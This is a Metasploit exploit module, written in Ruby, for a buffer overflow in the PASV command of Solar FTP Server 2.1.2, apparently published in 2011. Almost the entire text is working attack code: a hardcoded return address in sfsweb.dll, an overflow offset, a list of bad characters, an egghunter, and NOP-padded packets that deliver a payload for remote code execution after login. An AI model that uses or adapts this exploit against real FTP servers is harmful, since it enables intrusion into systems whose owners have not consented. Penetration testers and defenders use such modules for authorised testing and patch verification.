Solar FTP Server 2.1.2 – PASV Buffer Overflow (Metasploit)
# Exploit Title: Solarftp v2.1.2 PASV buffer overflow # Date: Aug 17, 2011 # Author: qnix # Software Link: http://solarftp.com/files/solarftps-setup.exe # Version: 2.1.2 # Tested on: Windows XP Universal # Detailed info: http://0x80.org/blog/?p=545 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Solarftp 2.1.2 PASV Command Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2 You must have valid credentials to trigger this vulnerability. Also, you ony get one chance. }, 'Author' => 'qnix', 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://0x80.org/blog/?p=545'], ], 'DefaultOptions' => { 'WfsDelay' => 45, 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ #1001BD23 . FFE0 JMP EAX @sfsweb.dll [ 'Windows XP Universal', { 'Ret' => 0x1001BD23, 'Offset' => 195} ], ], 'DisclosureDate' => 'Aug 17 2011', 'DefaultTarget' => 0)) end def exploit connect_login print_status("Trying target #{target.name}") print_status("Creating Egg Hunter") eggoptions = { :checksum => true, :eggtag => "W00T" } hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions) fix = "\x11" # To fix some left overs from uncontrolled buffer # to avoid access violation. pk1 = make_nops(75) pk1 << fix pk1 << make_nops(20) pk1 << hunter pk1 << make_nops((100-fix.length-hunter.length)) pk1 << [target.ret].pack('V') pk1 << egg pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length) print_status("Sending first packet...") send_cmd( ["PASV",pk1], false) pk2 = make_nops(3000) print_status("Sending second packet...") send_cmd( ["PASV",pk2], false) handler disconnect end end |